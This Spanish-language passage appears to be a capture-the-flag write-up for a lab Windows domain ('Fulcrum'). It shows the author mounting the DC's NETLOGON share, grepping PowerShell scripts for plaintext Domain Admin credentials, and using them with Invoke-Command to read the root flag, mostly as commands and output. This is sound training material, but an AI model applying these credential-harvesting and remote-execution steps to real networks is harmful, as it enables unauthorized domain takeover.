Netlogon es un servicio en sistemas operativos Windows que desempeña un papel importante en la autenticación y la autorización en entornos de red basados en dominios. Este servicio es esencial para la operación de un controlador de dominio.
PS C:\Users\BTables\Documents> net use n: \\dc.fulcrum.local\netlogon /user:FULCRUM\BTables ++FileServerLogon12345++
The command completed successfully.
PS C:\Users\BTables\Documents> n:
PS N:\> dir
Directory: N:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/12/2022 10:34 PM 340 00034421-648d-4835-9b23-c0d315d71ba3.ps1
-a---- 2/12/2022 10:34 PM 340 0003ed3b-31a9-4d8f-a152-a234ecb522d4.ps1
-a---- 2/12/2022 10:34 PM 340 0010183b-2f84-4d4a-9490-b5ae922e3ba1.ps1
-a---- 2/12/2022 10:34 PM 340 001985e5-4b19-426a-96fe-927a972a6fed.ps1
-a---- 2/12/2022 10:34 PM 340 0033f8d7-8ede-4186-83fa-6a17b966f1b9.ps1
...[SNIP]...
Usuario 923a
Privilegios de administrador
En el directorio se encuentran varios scripts de PowerShell que contienen información sensible, incluyendo credenciales de usuario. Es posible filtrar e identificar detalles relacionados con usuarios administradores mediante un comando específico
PS N:\> Get-ChildItem -Recurse | Select-String -Pattern "admin" -CaseSensitive:$false
PS N:\> Get-ChildItem -Recurse -Filter *.ps1 | ForEach-Object { if (Get-Content $_.FullName -Raw | Select-String "923a") { Get-Content $_.FullName } }
# Map network drive v1.0
$User = '9f68'
$Pass = '@fulcrum_df0923a7ca40_$' | ConvertTo-SecureString -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential ($User, $Pass)
New-PSDrive -Name '\\file.fulcrum.local\global\' -PSProvider FileSystem -Root '\\file.fulcrum.local\global\' -Persist -Credential $Cred
# Map network drive v1.0
$User = '923a'
$Pass = '@fulcrum_bf392748ef4e_$' | ConvertTo-SecureString -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential ($User, $Pass)
New-PSDrive -Name '\\file.fulcrum.local\global\' -PSProvider FileSystem -Root '\\file.fulcrum.local\global\' -Persist -Credential $Cred
Encontramos las credenciales del usuario “923a”, recordando que pertenece al grupo “Domain Admins”. Al crear nuestro objeto PSCredential, podemos autenticarnos y ejecutar comandos en nombre del usuario “923a”. Esto nos permite realizar acciones como obtener una reverse shell o volcar archivos directamente
PS N:\> c:
PS C:\Users\BTables\Documents> $SecPass = ConvertTo-SecureString '@fulcrum_bf392748ef4e_$' -AsPlainText -Force
PS C:\Users\BTables\Documents> $cred = New-Object System.Management.Automation.PSCredential("FULCRUM\923a",$SecPass)
PS C:\Users\BTables\Documents> Invoke-Command -ComputerName dc.fulcrum.local -Credential $cred -ScriptBlock { whoami }
fulcrum\923a
PS C:\Users\BTables\Documents> Invoke-Command -ComputerName dc.fulcrum.local -Credential $cred -ScriptBlock { Get-Content "C:\Users\Administrator\Desktop\root.txt" }
8ddbe372e57c019bb6c4cdb5b35a0cab
Y logramos conseguir flag root.txt